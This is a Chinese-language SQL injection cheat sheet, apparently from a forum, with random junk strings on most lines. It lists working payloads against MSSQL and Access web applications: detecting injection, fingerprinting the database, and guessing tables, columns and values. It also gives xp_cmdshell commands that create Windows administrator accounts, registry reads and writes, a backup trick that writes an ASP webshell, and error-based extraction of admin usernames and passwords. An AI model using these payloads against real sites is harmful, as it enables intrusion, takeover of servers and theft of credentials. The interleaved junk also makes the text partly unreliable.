1.判断是否有注入
' B, |' i& \, h;and 1=1
: \8 F2 ?) E$ H9 H8 Z \6 i;and 1=2 3 Y8 |* \0 q: u- L" P
/ Z: W0 @. M1 [% k' {7 A; j" H
2.初步判断是否是mssql
x) y* m: ]: `( V;and user>0
' a9 w9 g9 g; q8 \. ^* |) T% d6 A& C. D' J1 c
3.判断数据库系统 # j% ^. l1 f6 @$ h- a1 W
;and (select count(*) from sysobjects)>0 mssql & q# X) U5 K3 Q7 B
;and (select count(*) from msysobjects)>0 access & K* j: S! c7 y
% \+ b# c/ D' Q7 T, ~
4.注入参数是字符 1 _. o+ F. l; V4 F5 X3 C( N! O
'and [查询条件] and ''='
$ B( J- j% F7 z# p0 p9 \
5 t& {4 D! c+ H9 v! O$ n5.搜索时没过滤参数的
% r2 q0 E6 X7 w% d' W7 g# Y'and [查询条件] and '%25'='
- m. Q" _: G* L2 s* Q
2 q3 V6 o$ g, R- @/ L- U6.猜数表名
) q( \8 o/ V8 G0 v& y- B;and (select Count(*) from [表名])>0 # k2 k0 R! i) B5 L+ @9 h- U
+ o# | ^2 n; K, f8 Y
7.猜字段
0 w( w1 O; A/ {;and (select Count(字段名) from 表名)>0
5 P5 @) d( R- \% R% C0 t/ f6 ~; c8 x8 k0 u" x. s
8.猜字段中记录长度 . @) M1 G( {4 F5 L! m3 R8 q N: G
;and (select top 1 len(字段名) from 表名)>0 3 g2 W$ Z S7 u+ f5 N5 N f/ j
6 }( F/ ]* _. j |8 c/ Z
9.(1)猜字段的ascii值(access) % l& W: l+ A7 I' }4 v- V8 R* K8 K9 P
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 4 n$ g8 A+ k' m" m
; `1 Y! `* e: }$ j+ r" u6 M8 T
(2)猜字段的ascii值(mssql) / C: s9 p) m( p9 l" T( h+ n* m
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 % F0 o2 W) b& g+ g) B6 \
2 i! l0 ]0 T% a2 ~10.测试权限结构(mssql) 0 [7 n- } y$ Y8 k K0 v! A* ~5 a
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , T8 }+ o. l/ V% j1 n p
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ a& E1 m0 o5 V2 @# Y5 a;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5 D4 ^6 ^5 W5 s# Z7 C/ j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 b' y; K: {% G$ E/ X5 I/ V! N;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , P7 a4 }/ g" c: Q# w4 E# w
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
8 w7 _ c, E+ i5 Z. w- x: v;and 1=(select IS_MEMBER('db_owner'));--
1 r. O4 b# @9 S9 r2 d- f7 Q& \7 Z0 o' O3 g* \
11.添加mssql和系统的帐户 3 Z, [8 ^! z, ]4 Z+ f& \
;exec master.dbo.sp_addlogin username;-- 4 w6 f. E5 K+ |3 c8 H1 J# f* l
;exec master.dbo.sp_password null,username,password;-- 8 |. u* y* m" ? {. s) o$ `! ?8 i: B* d
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " j% {/ W3 H3 {: i& c% T
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
9 A. T$ u' b- }! Y. J) [;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7 y0 T2 n& H9 I' R# C
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 Z1 s3 r5 X' I( d h: s# T
+ l7 G' ~9 k% L" A5 B0 R0 @) Q) y12.(1)遍历目录 & `* f* P7 ]) A* n2 }; I7 ]9 d
;create table dirs(paths varchar(100), id int) . d3 y% Q, f" V% ]
;insert dirs exec master.dbo.xp_dirtree 'c:\'
, l+ k0 y- U m% ]+ K; l3 T;and (select top 1 paths from dirs)>0
9 z( q, ?# P, ?6 e;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
( q) ]3 A/ s/ E; u! A, x: y/ r; }0 ]6 D0 l6 B8 E( Y
(2)遍历目录
: b- D. k( N; L; o' O;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* J; d7 _* i; M% X7 `+ c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
/ l# }- |% l; {$ N; C( i;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ( G3 ?2 g2 e% l
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 ^' V. `( @' t: ~8 @$ e
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 / h9 t0 @8 m1 r2 V
: D0 D6 Q4 @1 l
13.mssql中的存储过程
$ w Y% \% r9 r- v$ A+ h7 R9 Z; qxp_regenumvalues 注册表根键, 子键 : i% e* d1 B% e" Z- T2 x- s# _
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 n) R' \' e J" Axp_regread 根键,子键,键值名
/ B3 {5 |, Q* D' ^3 t5 M) n;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2 l4 o }0 d+ l! H& _( N
xp_regwrite 根键,子键, 值名, 值类型, 值 . m; [ s0 g5 Q- p/ ? k5 `7 |8 F5 t1 a
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
7 ~5 f9 ?; o C6 O;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
% ^1 G8 K* d, E0 sxp_regdeletevalue 根键,子键,值名 ( l: @9 d5 }! k0 X& [3 }( F1 v+ |( n
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ' z" { X# d9 i) {5 }
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 / o5 C1 a1 {/ b
. c2 l, y$ e7 n; ^3 R$ @) _5 R: x- k
14.mssql的backup创建webshell & u" n) i I: h0 [, m! U
use model / W+ t& ^$ i( H$ B
create table cmd(str image);
7 I" \, i6 w- z" e/ x4 Winsert into cmd(str) values ('<% Dim oScript %>');
0 L2 I; h& e n9 O/ w. p1 ?' T! `; N( vbackup database model to disk='c:\l.asp'; : H3 ~0 o, i& E( S9 Y
1 ~1 O3 d: u0 @ X5 c+ i5 S
15.mssql内置函数 ( W& E6 W, j6 E, w3 l
;and (select @@version)>0 获得Windows的版本号 9 D: C% ^- D- I- \
;and user_name()='dbo' 判断当前系统的连接用户是不是sa * E, t E7 n. ~/ M0 ^$ [' }6 i, }$ y
;and (select user_name())>0 爆当前系统的连接用户 ' E. G; w4 K% k |
;and (select db_name())>0 得到当前连接的数据库 $ s9 r$ G9 l- Q9 S( C- r. a& l
6 R5 o7 W4 f, {. e6 h
9 h' P, l, R$ H2 g" a% T/ q0 r2 B9 M4 {8 _$ `- i
MSSQL手注暴库2 R; x) Y. x2 V) P+ a
6 Y2 v8 d( e8 d" L* j
1.暴出当前表名和列名
! l. c* U5 o. P7 ?/ J) S在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
4 v" }3 ?; U9 r# O0 q3 s$ j. @! Q) q- Q6 A- E
第一.爆出所有数据库名
+ Z* T$ H8 L b& v* e; F利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
* B( x/ K! a5 P9 }* I第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
% l1 C, D" s* b6 ]% L8 m
, |8 b7 y4 X7 m& e$ p8 ?and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名/ p( b. ~1 Z" C7 v" z0 ^/ S
; S! t+ ^0 s1 A* z+ t
, F0 C% F/ ]( y第二.爆出指定库中的所有表名: y% O3 o- u1 i( |' B
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! Y# i3 M. T& ^) a) a
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。. Z# @2 L) V. x9 e6 F$ f3 y
5 E( G# Q$ y) U( E; v- A& K6 g8 f6 ?and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
# U7 I( H! X' g2 Y& band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
! \1 R, F8 X4 P5 i* z/ M2 j2 h% dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
. q2 k3 _6 X5 E- t% l1 T( [+ ^2 y
4.爆出指定表中的所有列名
* [" I. z2 C. X/ r* `and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 F3 T' k2 }6 O6 x9 t6 g//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名' `: M. Q ?3 E& b- Y- T3 M
5 u) i$ H/ A' j- {& A6 ?
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
+ R S, ?' e8 d9 ~* i: t1 u
2 g+ |# W5 e7 ~再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
# `% Z, O; O( Y" K5 L+ n依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
! n" f) P0 s) q6 p- u( u" F3 x1 y4 d% `& n
4 S8 M3 O) V1 q' }: ?and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值5 ~1 y0 z4 t9 D
2 K: `$ c& N: P2 G, W1 j" _and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名: I2 J4 t6 M. [8 z+ }& _
J, Z' b5 e# B6 F2 E+ e2 Q0 rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
- N3 x' n: `6 r5 B+ G: @& \- U- q+ j+ {" V% S$ k2 H
: P( x+ M+ X7 a* f( a+ Q, B# T1 s" c
5.读取指定表中的数据
; E, k4 V0 ~$ _, _+ T' o0 d k; U) W7 i: U
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ) S. G8 G/ e ^3 d6 D
7 v1 D- h0 m& h/ y, iand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 T8 s; v$ [) v/ {; n% i" |/ T9 L& m8 K, X- L) j Y, B
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
8 E3 }' e4 J7 z6 v- @8 U' }- q. o$ y
7 V Z8 l! I- V; c4 r( w5 Oand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
/ x7 R( S/ e! m" L; S) b1 F
/ @1 k7 t% r* R- a2 I, X: P4 I! Band 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
9 T' U2 m/ Q) X: \- S( P! j2 e+ X) S Z8 e) l& I
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--! M5 v# k6 |/ x" O( V. r9 c; @
/ U! g2 W6 N4 `7 h4 U* ^* h2 u知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
+ T m/ ^' y1 {. L* O |